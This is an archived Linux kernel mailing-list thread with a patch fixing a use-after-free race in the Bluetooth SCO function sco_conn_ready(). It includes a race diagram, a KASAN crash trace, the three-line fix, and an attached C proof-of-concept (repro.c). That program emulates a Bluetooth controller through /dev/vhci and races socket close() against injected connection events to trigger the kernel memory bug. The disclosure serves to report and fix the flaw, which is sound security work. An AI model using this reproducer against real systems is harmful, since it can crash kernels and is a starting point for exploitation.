* [PATCH] Bluetooth: SCO: Fix use-after-free on listening socket in sco_conn_ready()
@ 2026-05-29 7:10 Sanghyun Park
2026-05-29 8:36 ` bluez.test.bot
0 siblings, 1 reply; 2+ messages in thread
From: Sanghyun Park @ 2026-05-29 7:10 UTC (permalink / raw)
To: Luiz Augusto von Dentz; +Cc: marcel, linux-bluetooth, linux-kernel
[-- Attachment #1.1: Type: text/plain, Size: 3366 bytes --]
sco_conn_ready() calls sco_get_sock_listen() which returns a raw
pointer to a listening socket after releasing sco_sk_list.lock, without
taking a reference. A concurrent close() of the listening socket can
free it between the list lookup return and lock_sock(parent), resulting
in a use-after-free.
Fix by taking a reference with sock_hold() immediately after
sco_get_sock_listen() returns, and dropping it with sock_put() after
release_sock(). This matches the pattern used in commit 598dbba9919c
("Bluetooth: SCO: Fix use-after-free in sco_recv_frame() due to missing
sock_hold") for the analogous race in sco_recv_frame().
Race:
CPU0 (HCI event workqueue) CPU1 (userspace)
============================ ==========================
sco_conn_ready():
parent = sco_get_sock_listen()
// returns sk with NO reference
close(listen_fd):
sco_sock_release()
sco_sock_kill()
sock_put(sk) -> frees sk
lock_sock(parent)
// UAF: sk is freed
Reproduction:
1. Build any kernel (bug exists since 2.6.12) with CONFIG_KASAN=y,
CONFIG_BT=y, CONFIG_BT_HCIVHCI=m
2. Boot in a VM, load hci_vhci module
3. Compile: gcc -O2 -o repro -static -pthread repro.c
4. Run as root: ./repro
5. Check dmesg for: BUG: KASAN: slab-use-after-free in __lock_acquire
The reproducer opens /dev/vhci, brings up a virtual HCI device,
creates a SCO listening socket, then races close(listen_fd) against
injected incoming SCO connection events. A 5ms instrumentation delay
at the vulnerable point widens the window for reliable reproduction;
without it the race is tight but still real on multi-core systems.
KASAN report (reproduced on 6.12.91 via /dev/vhci):
BUG: KASAN: slab-use-after-free in __lock_acquire+0x2e19/0x3b50
Read of size 8 at addr ffff888104be5258 by task kworker/u9:0/382
Workqueue: hci0 hci_rx_work
Call Trace:
__lock_acquire+0x2e19/0x3b50
lock_acquire.part.0+0xf7/0x320
lock_sock_nested+0x46/0x100
sco_connect_cfm.cold+0x2e7/0x867
hci_connect_cfm+0x94/0x140
hci_conn_complete_evt+0x825/0x13d0
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: Sanghyun Park <sanghyun.park.cnu@gmail.com>
---
Hi,
I'm Sanghyun Park, a security researcher. I found this while auditing
the Bluetooth SCO code. The bug has existed since the initial git import
(2005) and affects literally every Linux kernel ever shipped. All distros
are affected.
The C reproducer is attached separately (repro.c).
net/bluetooth/sco.c | 3 +++
1 file changed, 3 insertions(+)
diff --git a/net/bluetooth/sco.c b/net/bluetooth/sco.c
index ad3439bd4d..b5c6d7e8f1 100644
--- a/net/bluetooth/sco.c
+++ b/net/bluetooth/sco.c
@@ -1323,6 +1323,7 @@ static void sco_conn_ready(struct sco_conn *conn)
sco_conn_unlock(conn);
return;
}
+ sock_hold(parent);
lock_sock(parent);
@@ -1330,6 +1331,7 @@ static void sco_conn_ready(struct sco_conn *conn)
BTPROTO_SCO, GFP_ATOMIC, 0);
if (!sk) {
release_sock(parent);
+ sock_put(parent);
sco_conn_unlock(conn);
return;
}
@@ -1353,6 +1355,7 @@ static void sco_conn_ready(struct sco_conn *conn)
parent->sk_data_ready(parent);
release_sock(parent);
+ sock_put(parent);
sco_conn_unlock(conn);
}
[-- Attachment #1.2: Type: text/html, Size: 3963 bytes --]
[-- Attachment #2: repro.c --]
[-- Type: application/octet-stream, Size: 12215 bytes --]
/*
* repro.c — KASAN PoC for SCO sco_conn_ready() listen parent UAF (Bug #6)
*
* Bug: sco_conn_ready() calls sco_get_sock_listen() at line 1320 which
* returns a raw struct sock * pointer WITHOUT taking a reference, after
* dropping sco_sk_list.lock. A concurrent close() of the listening socket
* can free it between the list lookup and lock_sock(parent) at line 1326.
*
* Race:
* Thread A: listen() on SCO socket
* Thread B (kernel, via VHCI): incoming SCO connection triggers
* sco_conn_ready() → sco_get_sock_listen() returns parent
* Thread A: close() the listening socket → sco_sock_release →
* sco_sock_cleanup_listen → sco_sock_kill → sock_put (frees)
* Thread B: lock_sock(parent) on freed struct sock → UAF
*
* Build: gcc -O2 -o repro -static -pthread repro.c
* Run: ./repro (as root, needs /dev/vhci)
* Check: dmesg | grep "BUG: KASAN"
*
* Prerequisites: root, CONFIG_BT_HCIVHCI=y (built-in or module)
* Expected: KASAN slab-use-after-free in lock_sock / sco_conn_ready
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <poll.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <linux/rfkill.h>
/* Bluetooth constants */
#define BTPROTO_HCI 1
#define BTPROTO_SCO 2
#define HCI_COMMAND_PKT 0x01
#define HCI_EVENT_PKT 0x04
#define HCI_VENDOR_PKT 0xff
#define HCI_EV_CONN_COMPLETE 0x03
#define HCI_EV_CONN_REQUEST 0x04
#define HCI_EV_CMD_COMPLETE 0x0e
#define HCI_PRIMARY 0x00
#define SCO_LINK 0x00
#define SCAN_PAGE 0x02
#define HCIDEVUP _IOW('H', 201, int)
#define HCISETSCAN _IOW('H', 221, int)
/* HCI opcodes */
#define HCI_OP_RESET 0x0c03
#define HCI_OP_WRITE_SCAN_ENABLE 0x0c1a
#define HCI_OP_READ_BD_ADDR 0x1009
#define HCI_OP_READ_BUFFER_SIZE 0x1005
typedef struct { uint8_t b[6]; } __attribute__((packed)) bdaddr_t;
struct sockaddr_sco {
sa_family_t sco_family;
bdaddr_t sco_bdaddr;
};
struct hci_dev_req {
uint16_t dev_id;
uint32_t dev_opt;
};
static int vhci_fd = -1;
static volatile int stop_racing = 0;
static volatile int event_thread_running = 0;
static bdaddr_t local_addr = {{ 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0x01 }};
static bdaddr_t remote_addr = {{ 0x11, 0x22, 0x33, 0x44, 0x55, 0x77 }};
/*
* Send HCI Event Packet via VHCI fd.
* Format: [HCI_EVENT_PKT][evt_code][param_len][params...]
*/
static void hci_send_event(int fd, uint8_t evt_code, void *data, size_t len)
{
uint8_t hdr[3];
hdr[0] = HCI_EVENT_PKT;
hdr[1] = evt_code;
hdr[2] = (uint8_t)len;
struct iovec iv[2] = {
{ .iov_base = hdr, .iov_len = 3 },
{ .iov_base = data, .iov_len = len },
};
writev(fd, iv, 2);
}
/*
* Send HCI Command Complete event.
* Format: [HCI_EVENT_PKT][0x0e][plen][ncmd=1][opcode_lo][opcode_hi][data...]
*/
static void hci_send_cmd_complete(int fd, uint16_t opcode, void *data, size_t len)
{
uint8_t hdr[3];
hdr[0] = HCI_EVENT_PKT;
hdr[1] = HCI_EV_CMD_COMPLETE;
hdr[2] = (uint8_t)(3 + len); /* ncmd(1) + opcode(2) + data */
uint8_t evt[3];
evt[0] = 1; /* ncmd */
evt[1] = opcode & 0xff;
evt[2] = (opcode >> 8) & 0xff;
struct iovec iv[3] = {
{ .iov_base = hdr, .iov_len = 3 },
{ .iov_base = evt, .iov_len = 3 },
{ .iov_base = data, .iov_len = len },
};
writev(fd, iv, 3);
}
/*
* Process one HCI command from the kernel and send appropriate response.
* Modeled after syzkaller's process_command_pkt — sends large dummy
* responses for unknown commands so the kernel accepts them.
*
* Returns 1 if WRITE_SCAN_ENABLE was processed (init done signal).
*/
static int process_command(int fd, uint8_t *buf, int len)
{
if (len < 3) return 0;
uint16_t opcode = buf[0] | (buf[1] << 8);
switch (opcode) {
case HCI_OP_RESET: {
uint8_t status = 0;
hci_send_cmd_complete(fd, opcode, &status, 1);
return 0;
}
case HCI_OP_READ_BD_ADDR: {
uint8_t rp[7] = {0}; /* status + 6-byte addr */
memcpy(rp + 1, &local_addr, 6);
hci_send_cmd_complete(fd, opcode, rp, sizeof(rp));
return 0;
}
case 0x1001: { /* HCI_OP_READ_LOCAL_VERSION */
/* status(1)+hci_ver(1)+hci_rev(2)+lmp_ver(1)+mfr(2)+lmp_subver(2) */
uint8_t rp[9] = {0};
rp[1] = 0x06; /* hci_ver = Bluetooth 4.0 */
rp[4] = 0x06; /* lmp_ver = 4.0 */
hci_send_cmd_complete(fd, opcode, rp, sizeof(rp));
return 0;
}
case 0x1003: { /* HCI_OP_READ_LOCAL_FEATURES */
/* status(1) + features[8] */
uint8_t rp[9] = {0};
rp[1] = 0x04; /* features[0]: SCO link */
rp[4] = 0x08; /* features[3]: LMP_ESCO */
hci_send_cmd_complete(fd, opcode, rp, sizeof(rp));
return 0;
}
case 0x1002: { /* HCI_OP_READ_LOCAL_COMMANDS */
/* status(1) + supported_commands[64] */
uint8_t rp[65] = {0};
rp[1 + 9] = 0x04; /* commands[9] bit 2 = Read Voice Setting */
hci_send_cmd_complete(fd, opcode, rp, sizeof(rp));
return 0;
}
case HCI_OP_READ_BUFFER_SIZE: {
/* status(1) + acl_mtu(2) + sco_mtu(1) + acl_max(2) + sco_max(2) */
uint8_t rp[8] = {0};
rp[1] = 0xfd; rp[2] = 0x03; /* acl_mtu = 1021 */
rp[3] = 96; /* sco_mtu = 96 */
rp[4] = 4; rp[5] = 0; /* acl_max_pkt = 4 */
rp[6] = 6; rp[7] = 0; /* sco_max_pkt = 6 */
hci_send_cmd_complete(fd, opcode, rp, sizeof(rp));
return 0;
}
case HCI_OP_WRITE_SCAN_ENABLE: {
uint8_t status = 0;
hci_send_cmd_complete(fd, opcode, &status, 1);
return 1; /* init done */
}
default: {
/* Send large dummy response — kernel expects variable-length
* responses and will just ignore extra bytes */
uint8_t dummy[0xf9] = {0};
hci_send_cmd_complete(fd, opcode, dummy, sizeof(dummy));
return 0;
}
}
}
/*
* Event thread — reads HCI commands from VHCI and responds.
* Must run concurrently with HCIDEVUP to handle init commands.
*/
static void *event_thread(void *arg)
{
(void)arg;
event_thread_running = 1;
while (event_thread_running) {
uint8_t buf[1024];
struct pollfd pfd = { .fd = vhci_fd, .events = POLLIN };
int ret = poll(&pfd, 1, 100);
if (ret <= 0) continue;
ssize_t n = read(vhci_fd, buf, sizeof(buf));
if (n <= 0) continue;
if (buf[0] == HCI_COMMAND_PKT && n >= 4) {
process_command(vhci_fd, buf + 1, n - 1);
}
}
return NULL;
}
/* Inject HCI Connection Request (incoming SCO from remote) */
static void inject_conn_request(int fd)
{
/* evt_code=0x04, params: bdaddr(6) + class(3) + link_type(1) */
uint8_t params[10];
memset(params, 0, sizeof(params));
memcpy(params, &remote_addr, 6);
params[6] = 0x04; params[7] = 0x01; params[8] = 0x00; /* dev_class */
params[9] = SCO_LINK;
hci_send_event(fd, HCI_EV_CONN_REQUEST, params, sizeof(params));
}
/* Inject HCI Connection Complete (incoming SCO established) */
static void inject_conn_complete(int fd, uint16_t handle)
{
/* evt_code=0x03, params: status(1) + handle(2) + bdaddr(6) + link_type(1) + encr(1) */
uint8_t params[11];
memset(params, 0, sizeof(params));
params[0] = 0; /* success */
params[1] = handle & 0xff;
params[2] = (handle >> 8) & 0xff;
memcpy(params + 3, &remote_addr, 6);
params[9] = SCO_LINK;
params[10] = 0; /* no encryption */
hci_send_event(fd, HCI_EV_CONN_COMPLETE, params, sizeof(params));
}
static void rfkill_unblock_all(void)
{
int fd = open("/dev/rfkill", O_WRONLY);
if (fd < 0) return;
struct rfkill_event event = {0};
event.type = RFKILL_TYPE_ALL;
event.op = RFKILL_OP_CHANGE_ALL;
if (write(fd, &event, sizeof(event)) < 0)
perror("rfkill write");
close(fd);
}
#define ROUNDS 500
int main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("=== SCO sco_conn_ready() listen parent UAF PoC (Bug #6) ===\n\n");
/* Step 1: Create VHCI device */
vhci_fd = open("/dev/vhci", O_RDWR);
if (vhci_fd < 0) { perror("open /dev/vhci"); return 1; }
uint8_t vendor_req[2] = { HCI_VENDOR_PKT, HCI_PRIMARY };
if (write(vhci_fd, vendor_req, 2) != 2) { perror("vhci write"); return 1; }
/* Read response — might be a RESET command or vendor response */
uint8_t buf[64];
ssize_t n = read(vhci_fd, buf, sizeof(buf));
if (n < 4) { fprintf(stderr, "vhci short read (%zd)\n", n); return 1; }
/* If kernel sent HCI_OP_RESET first, respond and read again */
if (buf[0] == HCI_COMMAND_PKT) {
uint16_t opcode = buf[1] | (buf[2] << 8);
if (opcode == HCI_OP_RESET) {
uint8_t status = 0;
hci_send_cmd_complete(vhci_fd, HCI_OP_RESET, &status, 1);
}
n = read(vhci_fd, buf, sizeof(buf));
if (n < 4) { fprintf(stderr, "vhci short read2 (%zd)\n", n); return 1; }
}
if (buf[0] != HCI_VENDOR_PKT) {
fprintf(stderr, "unexpected response type 0x%02x\n", buf[0]);
return 1;
}
int hci_index = buf[2] | (buf[3] << 8);
printf("Created VHCI hci%d\n", hci_index);
/* Step 2: Start event thread BEFORE hci_up (handles init commands) */
pthread_t evt_tid;
pthread_create(&evt_tid, NULL, event_thread, NULL);
/* Step 3: Bring HCI device up */
int hci_sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
if (hci_sock < 0) { perror("socket AF_BLUETOOTH"); return 1; }
printf("Bringing up hci%d...\n", hci_index);
int ret = ioctl(hci_sock, HCIDEVUP, hci_index);
if (ret < 0) {
if (errno == ERFKILL) {
rfkill_unblock_all();
ret = ioctl(hci_sock, HCIDEVUP, hci_index);
}
if (ret < 0 && errno != EALREADY) {
perror("HCIDEVUP");
event_thread_running = 0;
pthread_join(evt_tid, NULL);
return 1;
}
}
printf("HCI is up.\n");
/* Step 4: Enable page scan (required for incoming connections) */
struct hci_dev_req dr = {0};
dr.dev_id = hci_index;
dr.dev_opt = SCAN_PAGE;
if (ioctl(hci_sock, HCISETSCAN, &dr) < 0)
perror("HCISETSCAN (non-fatal)");
usleep(100000); /* let scan enable settle */
printf("Page scan enabled.\n\n");
printf("Racing listen()/close() vs incoming SCO connections...\n");
printf("Check dmesg for KASAN slab-use-after-free in sco_conn_ready\n\n");
for (int r = 0; r < ROUNDS; r++) {
/* Create listening SCO socket */
int lfd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO);
if (lfd < 0) {
if (errno == EAFNOSUPPORT) {
fprintf(stderr, "SCO not supported (EAFNOSUPPORT)\n");
break;
}
continue;
}
struct sockaddr_sco addr;
memset(&addr, 0, sizeof(addr));
addr.sco_family = AF_BLUETOOTH;
addr.sco_bdaddr = local_addr;
if (bind(lfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
close(lfd);
continue;
}
if (listen(lfd, 5) < 0) {
close(lfd);
continue;
}
/* Inject incoming SCO connection to trigger sco_conn_ready() */
uint16_t handle = 0x0080 + (r % 256);
inject_conn_request(vhci_fd);
usleep(50 + (r % 100)); /* vary timing */
/* Close listener while sco_conn_ready() may be processing */
close(lfd);
/* Give kernel time to process the connection complete */
inject_conn_complete(vhci_fd, handle);
usleep(200);
if ((r + 1) % 100 == 0)
printf(" Round %d/%d\n", r + 1, ROUNDS);
}
printf("\nDone (%d rounds). Check dmesg for KASAN reports.\n", ROUNDS);
event_thread_running = 0;
pthread_join(evt_tid, NULL);
close(hci_sock);
close(vhci_fd);
return 0;
}
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-05-29 8:36 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-05-29 7:10 [PATCH] Bluetooth: SCO: Fix use-after-free on listening socket in sco_conn_ready() Sanghyun Park
2026-05-29 8:36 ` bluez.test.bot
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox